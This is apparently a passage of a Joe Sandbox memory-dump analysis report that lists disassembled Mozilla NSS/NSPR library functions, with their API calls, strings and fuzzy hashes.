free.MOZGLUE(00000000), ref: 6C704F2A

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ee3d73d4c62d9b8f8d028a0c701d0151f7ae58aa6d20f003eca06960e7bbf71f
Instruction ID: aea587153bd470d1d3f291fb2a1514814ebc7c1fbae55113a2ac017e2273ce2b
Opcode Fuzzy Hash: ee3d73d4c62d9b8f8d028a0c701d0151f7ae58aa6d20f003eca06960e7bbf71f
Instruction Fuzzy Hash: 00B121B5B00206AFDB10EF28D949AAA77F4BF19318F144138ED0597B01EB35E960CBD1

Function 6C756E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C756BF7), ref: 6C756EB6

Part of subcall function 6C6B1240: TlsGetValue.KERNEL32(00000040,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1267
Part of subcall function 6C6B1240: EnterCriticalSection.KERNEL32(?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B127C
Part of subcall function 6C6B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1291
Part of subcall function 6C6B1240: PR_Unlock.NSS3(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C7FFC0A,6C756BF7), ref: 6C756ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C756EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C756EFC
PR_NewLock.NSS3 ref: 6C756F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C756F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C756BF7), ref: 6C756F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C756BF7), ref: 6C756F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C756BF7), ref: 6C756FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C756BF7), ref: 6C756FFD

Strings

SSLFORCELOCKS, xrefs: 6C756F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C756EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C756FF8
SSLKEYLOGFILE, xrefs: 6C756EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C756F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C756FDB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 492b3054829e21d411b7d3931ba4a818fb1468e1d949286835e0abc051d4d793
Instruction ID: 20afdebd270e316a961cf4c4ab1b2a88a12b6a1e88bbe8d6a8089c3a30af18a8
Opcode Fuzzy Hash: 492b3054829e21d411b7d3931ba4a818fb1468e1d949286835e0abc051d4d793
Instruction Fuzzy Hash: 3DA1E772A669808BE720462CCE1574436A2A79333EF98C375E831C6FD5DF7AA560C2C1

Function 6C6D5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C6D5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C6D5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C6D5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C6D5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C6D5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C6D5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C6D5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6D5F89
free.MOZGLUE(?), ref: 6C6D5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6D5FB6
free.MOZGLUE(00000000), ref: 6C6D5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6D600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6D6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6D6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6D6094

Strings

, xrefs: 6C6D5EEB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 6f84c63f18f9479ed9ec5325df9bd8cc2059a44059f3da29caacc2f9edcfc02b
Instruction ID: d8dfd68703ad532cd599bc4577aa6c4e2572aac3041ed7ca2a992469caa5f44c
Opcode Fuzzy Hash: 6f84c63f18f9479ed9ec5325df9bd8cc2059a44059f3da29caacc2f9edcfc02b
Instruction Fuzzy Hash: 0981D1B1E002059BDB108E64CD85BAE77B5EF49318F164528E819ABB91E731F904CBA6

Function 6C6F4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C6F4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6F4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F4EC7

Part of subcall function 6C7DD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7DD963

PR_LogPrint.NSS3(?,00000000), ref: 6C6F4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C6F4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C6F4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C6F4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C6F4F68

Strings

hSession = 0x%x, xrefs: 6C6F4EA2, 6C6F4EB2
C_GetAttributeValue, xrefs: 6C6F4E7E
(CK_INVALID_HANDLE), xrefs: 6C6F4EC0, 6C6F4F13
pTemplate = 0x%p, xrefs: 6C6F4F4A
n}l, xrefs: 6C6F4F82, 6C6F4FB2
ulCount = %d, xrefs: 6C6F4F63
hObject = 0x%x, xrefs: 6C6F4EF5, 6C6F4F05

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$n}l
API String ID: 1003633598-3865357668
Opcode ID: c4260a483cde7c52fe866daf5061a5115d23d357b4075022cccf86a198a247c2
Instruction ID: 757759a6c69ad0d773e181fd36a9333c66d8fab81e520b5165a92e847f113ca6
Opcode Fuzzy Hash: c4260a483cde7c52fe866daf5061a5115d23d357b4075022cccf86a198a247c2
Instruction Fuzzy Hash: 3E41E731602104AFEB108F54DE8DFAA7BB6AB8731DF058034E51857A11D738A909CBEE

Function 6C6F4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C6F4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6F4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F4D37

Part of subcall function 6C7DD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7DD963

PR_LogPrint.NSS3(?,00000000), ref: 6C6F4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C6F4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C6F4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C6F4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C6F4E20

Strings

hSession = 0x%x, xrefs: 6C6F4D12, 6C6F4D22
(CK_INVALID_HANDLE), xrefs: 6C6F4D30, 6C6F4D83
C_GetObjectSize, xrefs: 6C6F4CEE
n}l, xrefs: 6C6F4DD4, 6C6F4DFF
*pulSize = 0x%x, xrefs: 6C6F4E1B
pulSize = 0x%p, xrefs: 6C6F4DB7
hObject = 0x%x, xrefs: 6C6F4D65, 6C6F4D75

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$n}l
API String ID: 1003633598-4076962413
Opcode ID: 80daf04da5321503b4c1bcfbde827544f4860346bbb69549343e15f7ef225308
Instruction ID: 0a794c74501dfe27930d761882c1770996c492a42a5711b69f701274038127cd
Opcode Fuzzy Hash: 80daf04da5321503b4c1bcfbde827544f4860346bbb69549343e15f7ef225308
Instruction Fuzzy Hash: B041C671601104AFE7109B14DF8DF6A3BB6EB4631DF058034E5186BE11D778A949CBFA

Function 6C7D9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C7D9C70
PR_NewLock.NSS3 ref: 6C7D9C85

Part of subcall function 6C7898D0: calloc.MOZGLUE(00000001,00000084,6C6B0936,00000001,?,6C6B102C), ref: 6C7898E5

PR_NewCondVar.NSS3(00000000), ref: 6C7D9C96

Part of subcall function 6C6ABB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6B21BC), ref: 6C6ABB8C

PR_NewLock.NSS3 ref: 6C7D9CA9

Part of subcall function 6C7898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C789946
Part of subcall function 6C7898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6416B7,00000000), ref: 6C78994E
Part of subcall function 6C7898D0: free.MOZGLUE(00000000), ref: 6C78995E

PR_NewLock.NSS3 ref: 6C7D9CB9
PR_NewLock.NSS3 ref: 6C7D9CC9
PR_NewCondVar.NSS3(00000000), ref: 6C7D9CDA

Part of subcall function 6C6ABB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6ABBEB
Part of subcall function 6C6ABB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6ABBFB
Part of subcall function 6C6ABB80: GetLastError.KERNEL32 ref: 6C6ABC03
Part of subcall function 6C6ABB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6ABC19
Part of subcall function 6C6ABB80: free.MOZGLUE(00000000), ref: 6C6ABC22

PR_NewCondVar.NSS3(?), ref: 6C7D9CF0
PR_NewPollableEvent.NSS3 ref: 6C7D9D03

Part of subcall function 6C7CF3B0: PR_CallOnce.NSS3(6C8214B0,6C7CF510), ref: 6C7CF3E6
Part of subcall function 6C7CF3B0: PR_CreateIOLayerStub.NSS3(6C82006C), ref: 6C7CF402
Part of subcall function 6C7CF3B0: PR_Malloc.NSS3(00000004), ref: 6C7CF416
Part of subcall function 6C7CF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C7CF42D
Part of subcall function 6C7CF3B0: PR_SetSocketOption.NSS3(?), ref: 6C7CF455
Part of subcall function 6C7CF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C7CF473

Part of subcall function 6C789890: TlsGetValue.KERNEL32(?,?,?,6C7897EB), ref: 6C78989E

EnterCriticalSection.KERNEL32(?), ref: 6C7D9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C7D9DAF
_PR_CreateThread.NSS3(00000000,6C7D9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C7D9D9F

Part of subcall function 6C6AB3C0: TlsGetValue.KERNEL32 ref: 6C6AB403
Part of subcall function 6C6AB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C6AB459

_PR_CreateThread.NSS3(00000000,6C7DA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C7D9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C7D9DFC
_PR_CreateThread.NSS3(00000000,6C7DA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C7D9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C7D9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C7D9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7D9E89

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: a4f619d3c003a55bee4944fb82a0a65a4fdf1a8dbf313a696d309f805f9ba9a0
Instruction ID: 931c2e369bb750c92eb82f50a0662bd546530de79ac71e1c30c39d9c2cee36a1
Opcode Fuzzy Hash: a4f619d3c003a55bee4944fb82a0a65a4fdf1a8dbf313a696d309f805f9ba9a0
Instruction Fuzzy Hash: 69616DB1A00706AFD710DF75D958A67BBE8FF49208B05453AE85AC7B11EB30F814CBA5

Function 6C718E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C718E01,00000000,6C719060,6C820B64), ref: 6C718E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C718E01,00000000,6C719060,6C820B64), ref: 6C718E9E
PORT_ArenaAlloc_Util.NSS3(6C820B64,00000001,?,?,?,?,6C718E01,00000000,6C719060,6C820B64), ref: 6C718EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C718E01,00000000,6C719060,6C820B64), ref: 6C718EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C718E01,00000000,6C719060,6C820B64), ref: 6C718ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C718E01,00000000,6C719060,6C820B64), ref: 6C718EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C718E01), ref: 6C718EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C820B64,6C820B64), ref: 6C718F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C718F3F

Part of subcall function 6C71A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C71A421,00000000,00000000,6C719826), ref: 6C71A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C71904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C718E76

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: e364a58eab4babb10b8fb1c4ef8f2b112c195f19dfd58e20eb82b7222a16ed16
Instruction ID: 28e77f0e9aeb47b8a7eec0baf33f4b0e0a6bacfd6e5b043d638c9c5d445e1009
Opcode Fuzzy Hash: e364a58eab4babb10b8fb1c4ef8f2b112c195f19dfd58e20eb82b7222a16ed16
Instruction Fuzzy Hash: B36195B5D0410AAFDB10CF55CE44AABB7B9FF94358F194138DC18A7B40E732A916CBA0

Function 6C6C8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6C8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6C8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7F18D0,?), ref: 6C6C8F03
PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C6C8F19
PL_FreeArenaPool.NSS3(?), ref: 6C6C8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6C8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6C8F65
PL_FinishArenaPool.NSS3(?), ref: 6C6C8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C6C8FFE
PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C6C9012
PL_FreeArenaPool.NSS3(?), ref: 6C6C9024
PL_FinishArenaPool.NSS3(?), ref: 6C6C902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C6C903E

Strings

security, xrefs: 6C6C8EE7

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 438bc185695365295ba32efd867350b3ae0dcf516f0865d5387b222bb738ea98
Instruction ID: 13d84e11eb24202e307d662b64e5d56c9b8e95d603e254d8738c834e7d846054
Opcode Fuzzy Hash: 438bc185695365295ba32efd867350b3ae0dcf516f0865d5387b222bb738ea98
Instruction Fuzzy Hash: 9F5148B2708300ABD7205A149D49FAB73E8EB8D35CF04082EF86587B50D336E909C79B

Function 6C78CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C78CC7B), ref: 6C78CD7A

Part of subcall function 6C78CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C6FC1A8,?), ref: 6C78CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C78CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C78CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C78CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C78CD8E

Part of subcall function 6C6B05C0: PR_EnterMonitor.NSS3 ref: 6C6B05D1
Part of subcall function 6C6B05C0: PR_ExitMonitor.NSS3 ref: 6C6B05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C78CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C78CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C78CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C78CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C78CE48

Strings

wship6.dll, xrefs: 6C78CDE3
freeaddrinfo, xrefs: 6C78CD9F, 6C78CE10
getnameinfo, xrefs: 6C78CDB2, 6C78CE23
ws2_32.dll, xrefs: 6C78CD75
getaddrinfo, xrefs: 6C78CD88, 6C78CDF9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 9971b7a4ed34bc30d2139eb1aff3a7432b6c1580c7834e21b50a5e9d1bbc3a33
Instruction ID: 83818ec030855040e753723cb21e18b07caa5f9956dc21da72aca51976988d06
Opcode Fuzzy Hash: 9971b7a4ed34bc30d2139eb1aff3a7432b6c1580c7834e21b50a5e9d1bbc3a33
Instruction Fuzzy Hash: 3A11D2E6E0311056EB2176326F49D9E3C995B4300EB684634EA15E1F01FB25DE19C3FA

Function 6C7D1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7D13BC,?,?,?,6C7D1193), ref: 6C7D1C6B
PR_NewLock.NSS3(?,6C7D1193), ref: 6C7D1C7E

Part of subcall function 6C7898D0: calloc.MOZGLUE(00000001,00000084,6C6B0936,00000001,?,6C6B102C), ref: 6C7898E5

PR_NewCondVar.NSS3(00000000,?,6C7D1193), ref: 6C7D1C91

Part of subcall function 6C6ABB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6B21BC), ref: 6C6ABB8C

PR_NewCondVar.NSS3(00000000,?,?,6C7D1193), ref: 6C7D1CA7

Part of subcall function 6C6ABB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6ABBEB
Part of subcall function 6C6ABB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6ABBFB
Part of subcall function 6C6ABB80: GetLastError.KERNEL32 ref: 6C6ABC03
Part of subcall function 6C6ABB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6ABC19
Part of subcall function 6C6ABB80: free.MOZGLUE(00000000), ref: 6C6ABC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C7D1193), ref: 6C7D1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C7D1193), ref: 6C7D1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C7D1193), ref: 6C7D1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C7D1193), ref: 6C7D1D1A

Part of subcall function 6C789BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6B1A48), ref: 6C789BB3
Part of subcall function 6C789BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6B1A48), ref: 6C789BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C7D1193), ref: 6C7D1D3D

